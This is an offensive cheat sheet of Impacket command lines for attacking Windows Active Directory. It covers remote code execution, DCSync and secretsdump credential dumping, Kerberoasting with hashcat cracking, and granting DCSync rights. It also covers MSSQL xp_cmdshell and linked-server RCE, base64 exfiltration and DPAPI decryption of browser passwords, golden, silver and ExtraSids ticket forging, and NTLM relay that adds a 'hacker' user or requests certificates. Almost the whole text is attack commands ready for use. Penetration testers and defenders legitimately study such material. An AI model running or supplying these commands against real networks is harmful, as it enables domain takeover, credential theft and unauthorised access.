Impacket - Grimoire

Collection of Python scripts for interacting with Windows protocols from Linux. Covers Kerberos, SMB, remote execution, credential dumping, ACL editing, and AD enumeration. All tools follow a consistent auth model.

Auth & Kerberos Setup

Every impacket tool accepts credentials in the same three forms. Set up once, reuse everywhere.

Password
NT Hash
Kerberos

Pass credentials inline: domain/user:password@target

psexec.py $DOMAIN/$USER:$PASSWORD@$IP

# -hashes accepts LM:NT — use : prefix for NT-only
psexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH

Requires a valid ccache and the hostname, not IP. Impacket resolves the SPN from the hostname — using an IP will fail with KRB5 errors.

# Get a TGT first if you don't have one
getTGT.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP        # password
getTGT.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP # hash
getTGT.py $DOMAIN/$USER -aesKey $AESKEY -dc-ip $DC_IP  # AES key

export KRB5CCNAME=$USER.ccache

# Then use -k -no-pass with the hostname
psexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME

Always use the DC/target hostname with -k, never the IP. If DNS doesn’t resolve, add the host to /etc/hosts and point to $DC_IP.

krb5.conf Template

Linux Kerberos tools read /etc/krb5.conf to know which KDC to contact and how to map realms to domains. Without it, most tools either fail or fall back to DNS discovery (which may not work inside a lab).

[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    rdns = false
    noaddresses = true

[realms]
    DOMAIN.LOCAL = {
        kdc = dc01.domain.local
        admin_server = dc01.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL

Replace DOMAIN.LOCAL with your domain in uppercase, domain.local with the lowercase FQDN, and dc01.domain.local with the DC hostname. Add /etc/hosts entries if DNS does not resolve the DC hostname:

echo "$DC_IP  dc01.domain.local dc01" | sudo tee -a /etc/hosts

For multiple domains or child domains, add a block per realm:

[realms]
    DOMAIN.LOCAL = {
        kdc = dc01.domain.local
        admin_server = dc01.domain.local
    }
    CHILD.DOMAIN.LOCAL = {
        kdc = child-dc.child.domain.local
        admin_server = child-dc.child.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
    .child.domain.local = CHILD.DOMAIN.LOCAL
    child.domain.local = CHILD.DOMAIN.LOCAL

Remote Execution

Pick based on noise level: psexec creates a service (very loud), wmiexec runs in WMI (quieter), atexec uses the task scheduler (least trace).

Password
NT Hash
Kerberos

psexec.py $DOMAIN/$USER:$PASSWORD@$IP          # SYSTEM shell, creates service
wmiexec.py $DOMAIN/$USER:$PASSWORD@$IP         # user-level shell, no binary drop
smbexec.py $DOMAIN/$USER:$PASSWORD@$IP         # semi-interactive via SMB pipe
atexec.py $DOMAIN/$USER:$PASSWORD@$IP "whoami" # single command via task scheduler
dcomexec.py $DOMAIN/$USER:$PASSWORD@$IP        # DCOM-based execution (MMC)

psexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
wmiexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
smbexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
atexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH "whoami"
dcomexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH

export KRB5CCNAME=/tmp/ticket.ccache
psexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
wmiexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
smbexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
atexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME "whoami"
dcomexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME

Credential Dumping

secretsdump.py

Password
NT Hash
Kerberos

# Remote: DCSync / dump SAM+LSA
secretsdump.py $DOMAIN/$USER:$PASSWORD@$DC_IP

# Targeted: specific user only
secretsdump.py $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc-user krbtgt

# All domain hashes
secretsdump.py $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc

# Offline: parse dumped hive files
secretsdump.py -sam sam.bak -system system.bak LOCAL
secretsdump.py -ntds ntds.dit -system system.bak LOCAL

secretsdump.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH
secretsdump.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -just-dc-user krbtgt
secretsdump.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -just-dc

export KRB5CCNAME=/tmp/ticket.ccache
# Hostname required — use the DC FQDN
secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST
secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST -just-dc-user krbtgt
secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST -just-dc

Kerberos Tooling

getTGT.py / getST.py / ticketConverter.py

# Request TGT — saves to user.ccache
getTGT.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP
getTGT.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP
getTGT.py $DOMAIN/$USER -aesKey $AESKEY -dc-ip $DC_IP

# Request service ticket (TGS) — for S4U2Self/S4U2Proxy / RBCD abuse
getST.py $DOMAIN/$USER:$PASSWORD -spn cifs/$TARGET.$DOMAIN -dc-ip $DC_IP
getST.py $DOMAIN/$USER -hashes :$NTHASH -spn cifs/$TARGET.$DOMAIN -dc-ip $DC_IP

# Impersonate a user via S4U2Proxy (RBCD / constrained delegation)
getST.py $DOMAIN/$COMP_NAME$:$COMP_PASS -spn cifs/$TARGET.$DOMAIN \
  -impersonate Administrator -dc-ip $DC_IP
export KRB5CCNAME="Administrator@cifs_$TARGET.$DOMAIN@${DOMAIN^^}.ccache"

# Convert kirbi ↔ ccache
ticketConverter.py ticket.kirbi ticket.ccache
ticketConverter.py ticket.ccache ticket.kirbi

GetUserSPNs.py (Kerberoasting)

Password
NT Hash
Kerberos

# List Kerberoastable accounts
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP

# Request hashes and save
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt

# Target a specific account
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request-user $TARGET -outputfile hashes.txt

GetUserSPNs.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP
GetUserSPNs.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -request -outputfile hashes.txt

export KRB5CCNAME=/tmp/ticket.ccache
GetUserSPNs.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP
GetUserSPNs.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP -request -outputfile hashes.txt

# Crack: hashcat mode 13100 (RC4) or 19700 (AES256)
hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou
hashcat -m 19700 hashes.txt ~/tools/wordlists/rockyou

GetNPUsers.py (AS-REP Roasting)

No Creds (username list)
Password
NT Hash

# No credentials needed — just a username list
GetNPUsers.py $DOMAIN/ -dc-ip $DC_IP -no-pass -usersfile users.txt \
  -format hashcat -outputfile hashes.txt

# With creds: auto-discovers AS-REP roastable accounts
GetNPUsers.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request \
  -format hashcat -outputfile hashes.txt

GetNPUsers.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -request \
  -format hashcat -outputfile hashes.txt

# Crack: hashcat mode 18200
hashcat -m 18200 hashes.txt ~/tools/wordlists/rockyou

smbclient.py

Interactive SMB client. Works like the native smbclient but is part of impacket — useful when the native tool isn’t available or you need PTH/Kerberos from Linux.

Password
NT Hash
Kerberos

# Interactive shell (lists shares on connect)
smbclient.py $DOMAIN/$USER:$PASSWORD@$IP

# Connect directly to a share
smbclient.py $DOMAIN/$USER:$PASSWORD@$IP -share $SHARENAME

smbclient.py -hashes :$NTHASH $DOMAIN/$USER@$IP
smbclient.py -hashes :$NTHASH $DOMAIN/$USER@$IP -share $SHARENAME

export KRB5CCNAME=/tmp/ticket.ccache
smbclient.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
smbclient.py -k -no-pass $DOMAIN/$USER@$HOSTNAME -share $SHARENAME

Inside the interactive shell:

shares                # list available shares
use ShareName         # switch to a share
ls                    # list files
cd path               # change directory
get file.txt          # download file
put local.txt         # upload file
exit                  # quit

ACL Editing (dacledit.py)

Read and write DACLs on AD objects. Required for granting DCSync rights, GenericAll, WriteDacl, etc. from Linux.

Password
NT Hash
Kerberos

# Read the DACL on an object
dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
  -principal $USER -target $TARGET -action read

# Grant a right (e.g. GenericAll, DCSync, WriteDacl)
dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
  -principal $USER -target $TARGET -action write -rights FullControl

# Grant DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All)
dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
  -principal $USER -target-dn "DC=$DOMAIN,DC=local" \
  -action write -rights DCSync

# Grant WriteDacl
dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
  -principal $USER -target $TARGET -action write -rights WriteOwner

# Restore a DACL from backup
dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
  -principal $USER -target $TARGET -action restore -file dacl_backup.json

dacledit.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP \
  -principal $USER -target $TARGET -action read

dacledit.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP \
  -principal $USER -target-dn "DC=$DOMAIN,DC=local" \
  -action write -rights DCSync

export KRB5CCNAME=/tmp/ticket.ccache
dacledit.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP \
  -principal $USER -target $TARGET -action read

dacledit.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP \
  -principal $USER -target-dn "DC=$DOMAIN,DC=local" \
  -action write -rights DCSync

Computer Accounts (addcomputer.py)

Create machine accounts — prerequisite for RBCD and other attacks when ms-DS-MachineAccountQuota > 0.

Password
NT Hash
Kerberos

# Add a computer account
addcomputer.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
  -computer-name 'EVIL$' -computer-pass 'EvilPass123!'

# Delete a computer account you created
addcomputer.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
  -computer-name 'EVIL$' -delete

addcomputer.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP \
  -computer-name 'EVIL$' -computer-pass 'EvilPass123!'

export KRB5CCNAME=/tmp/ticket.ccache
addcomputer.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP \
  -computer-name 'EVIL$' -computer-pass 'EvilPass123!'

Delegation Enumeration (findDelegation.py)

Find all accounts with unconstrained, constrained, or RBCD delegation configured.

Password
NT Hash
Kerberos

findDelegation.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP

findDelegation.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP

export KRB5CCNAME=/tmp/ticket.ccache
findDelegation.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP

Enumeration

Password
NT Hash
Kerberos

lookupsid.py $DOMAIN/$USER:$PASSWORD@$IP        # enumerate SIDs / RID brute
samrdump.py $DOMAIN/$USER:$PASSWORD@$IP          # list users, groups, shares via SAMR
rpcdump.py $IP                                   # dump RPC endpoints (no auth needed)
reg.py $DOMAIN/$USER:$PASSWORD@$IP query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

lookupsid.py $DOMAIN/$USER@$IP -hashes :$NTHASH
samrdump.py $DOMAIN/$USER@$IP -hashes :$NTHASH
reg.py $DOMAIN/$USER@$IP -hashes :$NTHASH query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

export KRB5CCNAME=/tmp/ticket.ccache
lookupsid.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
samrdump.py -k -no-pass $DOMAIN/$USER@$HOSTNAME

MSSQL (mssqlclient.py)

Interactive MSSQL client. Type SQL directly or use built-in helpers for xp_cmdshell.

Connecting

Password
NT Hash
Kerberos

mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP -windows-auth   # Windows auth (try first)
mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP                 # SQL auth
mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP -port 1433      # explicit port

mssqlclient.py $DOMAIN/$USER@$IP -hashes :$NTHASH -windows-auth

export KRB5CCNAME=/tmp/ticket.ccache
mssqlclient.py -k -no-pass $DOMAIN/$USER@$HOSTNAME -windows-auth

Situational Awareness

SELECT SYSTEM_USER;                                          -- current login
SELECT USER_NAME();                                          -- current DB user
SELECT IS_SRVROLEMEMBER('sysadmin');                         -- 1 = sysadmin
SELECT name FROM master.dbo.sysdatabases;                    -- list databases
SELECT name FROM master..syslogins;                          -- list SQL logins
EXEC sp_linkedservers;                                       -- list linked servers
SELECT name, data_source FROM sys.servers WHERE is_linked=1; -- linked servers (alt)

xp_cmdshell

# Built-in helpers (handle enable/disable automatically)
enable_xp_cmdshell
xp_cmdshell whoami
disable_xp_cmdshell

-- Manual enable
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Impersonation

-- Find logins you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate and verify
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');    -- should return sa, 1
REVERT;

Linked Server Abuse

Built-in helpers (enable_xp_cmdshell, enum_impersonate, etc.) are local only. Everything on a linked server must be sent as a raw SQL string via EXEC ('...') AT [TARGET]. Single quotes inside the string must be escaped as ''.

-- Enumerate linked servers
EXEC sp_linkedservers;
SELECT name, data_source FROM sys.servers WHERE is_linked = 1;

-- Check context on linked server
EXEC ('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED_SERVER];

-- Query via OPENQUERY (read-only, no RCE)
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@version');
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

-- Enumerate impersonatable logins on linked server
EXEC ('SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = ''IMPERSONATE''') AT [LINKED_SERVER];

-- Impersonate on linked server
EXEC ('EXECUTE AS LOGIN = ''sa''; SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED_SERVER];

-- Enable xp_cmdshell on linked server
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE') AT [LINKED_SERVER];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT [LINKED_SERVER];

-- RCE via linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER];

-- Enumerate further hops
EXEC ('SELECT name, data_source FROM sys.servers WHERE is_linked = 1') AT [LINKED_SERVER];

-- Double-hop (chain two linked servers)
EXEC ('EXEC (''SELECT SYSTEM_USER'') AT [NEXT_LINKED_SERVER]') AT [LINKED_SERVER];

DPAPI (dpapi.py)

Decrypt Windows DPAPI-protected secrets: browser saved passwords, credential manager, Wi-Fi keys, and anything else encrypted with a masterkey. The masterkey is encrypted with the user’s password (or the domain backup key for domain accounts).

Extracting the Files from the Target

dpapi.py runs on your attacker box, so you first need to pull the encrypted masterkey and the target blob (credential file, vault, Chrome data) off the Windows host. These all live in hidden directories: list them with -Force or they look empty.

# Your SID — matches the folder name under Protect\
whoami /user

# gci = Get-ChildItem; -force reveals hidden + system items
# Masterkey files (GUID-named) — one of these encrypts the blob
gci -force C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SID\

# Credential Manager blobs (check both Roaming and Local)
gci -force C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\
gci -force C:\Users\$USER\AppData\Local\Microsoft\Credentials\

# Vault directories
gci -force C:\Users\$USER\AppData\Local\Microsoft\Vault\

Exfil each file by base64-encoding it on the target and decoding on the attacker: no SMB share or file server needed, works over any shell.

# On the target — encrypted masterkey
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SID\$GUID"))

# On the target — credential blob (different GUID)
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\$GUID"))

# On the attacker — decode each string back into a file
echo "<base64>" | base64 -d > masterkey
echo "<base64>" | base64 -d > dpapi.blob

Run dpapi.py credential -file dpapi.blob with no key first: it parses the header and prints the masterkey GUID the blob needs, so you know which file to grab from Protect\$SID\.

Masterkeys

# Decrypt masterkey with the user's plaintext password
dpapi.py masterkey \
  -file "/Users/$USER/AppData/Roaming/Microsoft/Protect/$SID/$GUID" \
  -sid $SID \
  -password $PASSWORD

# Decrypt masterkey using the domain backup key (pvk file from secretsdump)
dpapi.py masterkey \
  -file "/Users/$USER/AppData/Roaming/Microsoft/Protect/$SID/$GUID" \
  -pvk domain_backup.pvk

# Decrypt all masterkeys for a user (point to the Protect folder)
dpapi.py masterkey \
  -directory "/Users/$USER/AppData/Roaming/Microsoft/Protect/$SID/" \
  -pvk domain_backup.pvk

Credential Files

# List Windows Credential Manager files
dpapi.py credential -file "/Users/$USER/AppData/Local/Microsoft/Credentials/$GUID" \
  -key $MASTERKEY_HEX

# Batch decrypt all credential files using decrypted masterkey
dpapi.py credential \
  -directory "/Users/$USER/AppData/Local/Microsoft/Credentials/" \
  -key $MASTERKEY_HEX

Chrome / Browser Saved Passwords

# Decrypt Chrome Login Data (requires Local State + Login Data files)
dpapi.py chrome \
  --logindata "/Users/$USER/AppData/Local/Google/Chrome/User Data/Default/Login Data" \
  --key "/Users/$USER/AppData/Local/Google/Chrome/User Data/Local State"

# With masterkey (if Local State key is encrypted with DPAPI)
dpapi.py chrome \
  --logindata "Login Data" \
  --key "Local State" \
  -masterkey $MASTERKEY_HEX

Generic Blob Decryption

# Decrypt a raw DPAPI blob
dpapi.py blob -blob blob.bin -masterkey $MASTERKEY_HEX

# From base64-encoded blob
dpapi.py blob -blob blob.b64 -masterkey $MASTERKEY_HEX

Vault Files

# Decrypt Windows Vault entries (e.g., RDP saved credentials)
dpapi.py vault \
  -vcrd "/Users/$USER/AppData/Local/Microsoft/Vault/$GUID/..." \
  -masterkey $MASTERKEY_HEX

Ticket Forging (ticketer.py)

Forge Kerberos tickets offline. Requires hashes extracted via secretsdump.

Golden Ticket

Requires the krbtgt NT hash and domain SID. Valid for any user, any service, any host.

# Forge a Golden Ticket as Administrator
ticketer.py \
  -nthash $KRBTGT_HASH \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  Administrator

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass $DOMAIN/Administrator@$DC_HOST
psexec.py -k -no-pass $DOMAIN/Administrator@$DC_HOST

Silver Ticket

Requires the target service account’s NT hash. Valid for a single service on a single host — no contact with the DC needed.

# Forge a Silver Ticket for CIFS (file sharing) on a target host
ticketer.py \
  -nthash $SERVICE_HASH \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  -spn cifs/$TARGET.$DOMAIN \
  -user-id 500 \
  Administrator

export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass $DOMAIN/Administrator@$TARGET.$DOMAIN

# MSSQL Silver Ticket
ticketer.py \
  -nthash $SERVICE_HASH \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  -spn MSSQLSvc/$TARGET.$DOMAIN \
  -dc-ip $DC_IP \
  Administrator

export KRB5CCNAME=Administrator.ccache
mssqlclient.py -k -no-pass $DOMAIN/Administrator@$TARGET.$DOMAIN

PAC Validation — Why Silver Tickets Sometimes Fail

A service ticket’s PAC carries two signatures: a server signature (the service account’s key) and a KDC signature (the krbtgt key). When you forge a Silver Ticket you hold the service hash, so the server signature is valid, but you cannot produce a valid KDC signature. Whether that matters depends on whether the target service performs PAC validation: calling back to a DC over Netlogon (KERB_VERIFY_PAC) to check the KDC signature.

Services running as NT AUTHORITY\SYSTEM or holding SeTcbPrivilege (“Act as part of the OS”) are treated as trusted and skip PAC validation. Most core Windows services land here — this is why Silver Tickets work so often.
Services running under a plain domain account without SeTcbPrivilege validate the PAC, and the forged ticket is rejected.
S4U2self / protocol transition always triggers KDC-signature checks, so a Silver Ticket cannot be used to pivot through constrained delegation.

Service (SPN)	Typically runs as	PAC validation	Silver Ticket
`CIFS` — SMB shares	SYSTEM	No	Reliable
`HOST` — schtasks, service control	SYSTEM	No	Reliable
`HOST` + `RPCSS` — WMI	SYSTEM / NetworkService	No	Reliable
`MSSQLSvc` — MSSQL	domain SA or `NT Service\MSSQLSERVER`	No (SQL doesn’t verify)	Reliable
`HTTP` — WinRM / PS Remoting	NetworkService / SYSTEM	Usually no	Usually works
`HTTP` — IIS / ASP.NET app	app-pool domain identity	Yes, if the pool account lacks `SeTcbPrivilege`	Often fails
`LDAP` — against a DC	DC-side	Yes	Fails on patched DCs — use a Golden Ticket / DCSync with the DC machine hash
Any service under a plain domain user	domain user	Yes	Fails
Custom / third-party services	varies	Rarely implemented	Usually works

Impacket ≥ 0.11 ticketer.py embeds PAC_ATTRIBUTES and a PAC_REQUESTOR buffer so the forged PAC survives the structural checks from the Nov 2021 updates (CVE-2021-42287). It still cannot forge the KDC signature, so any service that actually calls back to a DC stays out of reach.

ExtraSids (Child to Parent Domain)

# Forge a cross-domain ticket with Enterprise Admins SID injected
ticketer.py \
  -nthash $CHILD_KRBTGT_HASH \
  -domain-sid $CHILD_DOMAIN_SID \
  -domain child.$DOMAIN \
  -extra-sid $PARENT_DOMAIN_SID-519 \
  Administrator

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass $DOMAIN/Administrator@parent-dc.$DOMAIN
secretsdump.py -k -no-pass $DOMAIN/Administrator@parent-dc.$DOMAIN

Ticket Inspection (describeTicket.py)

Inspect ccache and kirbi files to check validity, SIDs, session key, and expiry.

# Inspect a ccache file
describeTicket.py ticket.ccache

# Inspect a kirbi file
describeTicket.py ticket.kirbi

# Extract session key (needed for SPN-less RBCD trick)
describeTicket.py $USER.ccache | grep 'Ticket Session Key'

NTLM Relay (ntlmrelayx.py)

Relay incoming NTLM authentication to other services. Requires capturing NTLM auth via Responder, printerbug, PetitPotam, or similar coercion.

# Generate relay target list (hosts with SMB signing disabled)
nxc smb $SUBNET --gen-relay-list relay_targets.txt

Relay to SMB

# Relay to SMB on all targets — dumps SAM if admin
ntlmrelayx.py -tf relay_targets.txt -smb2support

# Execute a command on relay
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "net user hacker Pass123! /add"

# Interactive SOCKS relay sessions (use socks proxy to interact after capture)
ntlmrelayx.py -tf relay_targets.txt -smb2support -socks
# then in another terminal: socks4 127.0.0.1 1080 via proxychains

Relay to LDAP

# Relay to LDAP — dumps credentials and AD info
ntlmrelayx.py -t ldap://$DC_HOST -smb2support

# Relay to LDAP for RBCD (grants controlled machine delegation on victim)
ntlmrelayx.py -t ldap://$DC_HOST --delegate-access --escalate-user '$COMP_NAME$' -smb2support

# Relay to LDAP and add user to Domain Admins
ntlmrelayx.py -t ldap://$DC_HOST -smb2support \
  --add-computer evilpc EvilPass123! \
  --delegate-access

Relay to MSSQL

ntlmrelayx.py -t mssql://$TARGET -smb2support -q "SELECT @@version"
ntlmrelayx.py -t mssql://$TARGET -smb2support --mssql-auth-type windows

Relay to HTTP / ADCS (ESC8)

# Relay to AD CS web enrollment to get a certificate for the victim account
ntlmrelayx.py -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template Machine

Password Change (changepasswd.py)

Change or force-reset passwords. Supports SAMR and Kerberos set-password protocols.

Password
NT Hash
Kerberos

# Change own password (knows current)
changepasswd.py $DOMAIN/$USER:$OLD_PASSWORD@$DC_IP -newpass $NEW_PASSWORD

# Force change another user's password (requires ForceChangePassword ACE)
changepasswd.py $DOMAIN/$USER:$PASSWORD@$DC_IP -altuser $TARGET -newpass $NEW_PASSWORD

changepasswd.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -newpass $NEW_PASSWORD
changepasswd.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -altuser $TARGET -newpass $NEW_PASSWORD

# Overwrite NT hash directly (SPN-less RBCD trick: replace hash with TGT session key)
changepasswd.py $DOMAIN/$USER@$DC_HOST -newhashes :$TGT_SESSION_KEY -hashes :$NTHASH

export KRB5CCNAME=/tmp/ticket.ccache
changepasswd.py -k -no-pass $DOMAIN/$USER@$DC_HOST -altuser $TARGET -newpass $NEW_PASSWORD

AD User Enumeration (GetADUsers.py)

Quick user enumeration via LDAP — returns all users or a specific account with attributes.

Password
NT Hash
Kerberos

# List all domain users
GetADUsers.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -all

# Query a specific user
GetADUsers.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -user $TARGET

GetADUsers.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -all
GetADUsers.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -user $TARGET

export KRB5CCNAME=/tmp/ticket.ccache
GetADUsers.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP -all

SMB File Server (smbserver.py)

Serve a local directory over SMB. Useful for file transfer, hosting payloads, or forcing NTLM authentication from a target that reads from a UNC path.

# Anonymous share (no auth required)
smbserver.py -smb2support SHARE /path/to/serve

# Authenticated share
smbserver.py -smb2support -username $USER -password $PASSWORD SHARE /path/to/serve

# Capture NTLM hashes from incoming connections (pair with Responder for relay)
smbserver.py -smb2support SHARE /tmp/share

# Then on the target: \\ATTACKER_IP\SHARE\payload.exe (forces NTLM auth back to you)

WMI Queries (wmiquery.py)

Execute arbitrary WMI queries on a remote host.

Password
NT Hash
Kerberos

wmiquery.py $DOMAIN/$USER:$PASSWORD@$IP "SELECT * FROM Win32_UserAccount"
wmiquery.py $DOMAIN/$USER:$PASSWORD@$IP "SELECT * FROM Win32_Process"
wmiquery.py $DOMAIN/$USER:$PASSWORD@$IP "SELECT * FROM Win32_Service WHERE StartMode='Auto'"

wmiquery.py $DOMAIN/$USER@$IP -hashes :$NTHASH "SELECT * FROM Win32_UserAccount"

export KRB5CCNAME=/tmp/ticket.ccache
wmiquery.py -k -no-pass $DOMAIN/$USER@$HOSTNAME "SELECT * FROM Win32_UserAccount"

Child to Parent Escalation (raiseChild.py)

Automates the ExtraSids attack: DCSync from a compromised child domain, forge a Golden Ticket with the Enterprise Admins SID, and get a shell on the parent DC. Requires child domain DC admin.

# Full automated chain: child DC creds to parent DA
raiseChild.py child.$DOMAIN/$USER:$PASSWORD

# Execute a command on the parent DC after escalation
raiseChild.py child.$DOMAIN/$USER:$PASSWORD -target-exec parent-dc.$DOMAIN

# With NT hash
raiseChild.py child.$DOMAIN/$USER -hashes :$NTHASH -target-exec parent-dc.$DOMAIN

​Auth & Kerberos Setup

​krb5.conf Template

​Remote Execution

​Credential Dumping

​secretsdump.py

​Kerberos Tooling

​getTGT.py / getST.py / ticketConverter.py

​GetUserSPNs.py (Kerberoasting)

​GetNPUsers.py (AS-REP Roasting)

​smbclient.py

​ACL Editing (dacledit.py)

​Computer Accounts (addcomputer.py)

​Delegation Enumeration (findDelegation.py)

​Enumeration

​MSSQL (mssqlclient.py)

​Connecting

​Situational Awareness

​xp_cmdshell

​Impersonation

​Linked Server Abuse

​DPAPI (dpapi.py)

​Extracting the Files from the Target

​Masterkeys

​Credential Files

​Chrome / Browser Saved Passwords

​Generic Blob Decryption

​Vault Files

​Ticket Forging (ticketer.py)

​Golden Ticket

​Silver Ticket

​PAC Validation — Why Silver Tickets Sometimes Fail

​ExtraSids (Child to Parent Domain)

​Ticket Inspection (describeTicket.py)

​NTLM Relay (ntlmrelayx.py)

​Relay to SMB

​Relay to LDAP

​Relay to MSSQL

​Relay to HTTP / ADCS (ESC8)

​Password Change (changepasswd.py)

​AD User Enumeration (GetADUsers.py)

​SMB File Server (smbserver.py)

​WMI Queries (wmiquery.py)

​Child to Parent Escalation (raiseChild.py)

Auth & Kerberos Setup

krb5.conf Template

Remote Execution

Credential Dumping

secretsdump.py

Kerberos Tooling

getTGT.py / getST.py / ticketConverter.py

GetUserSPNs.py (Kerberoasting)

GetNPUsers.py (AS-REP Roasting)

smbclient.py

ACL Editing (dacledit.py)

Computer Accounts (addcomputer.py)

Delegation Enumeration (findDelegation.py)

Enumeration

MSSQL (mssqlclient.py)

Connecting

Situational Awareness

xp_cmdshell

Impersonation

Linked Server Abuse

DPAPI (dpapi.py)

Extracting the Files from the Target

Masterkeys

Credential Files

Chrome / Browser Saved Passwords

Generic Blob Decryption

Vault Files

Ticket Forging (ticketer.py)

Golden Ticket

Silver Ticket

PAC Validation — Why Silver Tickets Sometimes Fail

ExtraSids (Child to Parent Domain)

Ticket Inspection (describeTicket.py)

NTLM Relay (ntlmrelayx.py)

Relay to SMB

Relay to LDAP

Relay to MSSQL

Relay to HTTP / ADCS (ESC8)

Password Change (changepasswd.py)

AD User Enumeration (GetADUsers.py)

SMB File Server (smbserver.py)

WMI Queries (wmiquery.py)

Child to Parent Escalation (raiseChild.py)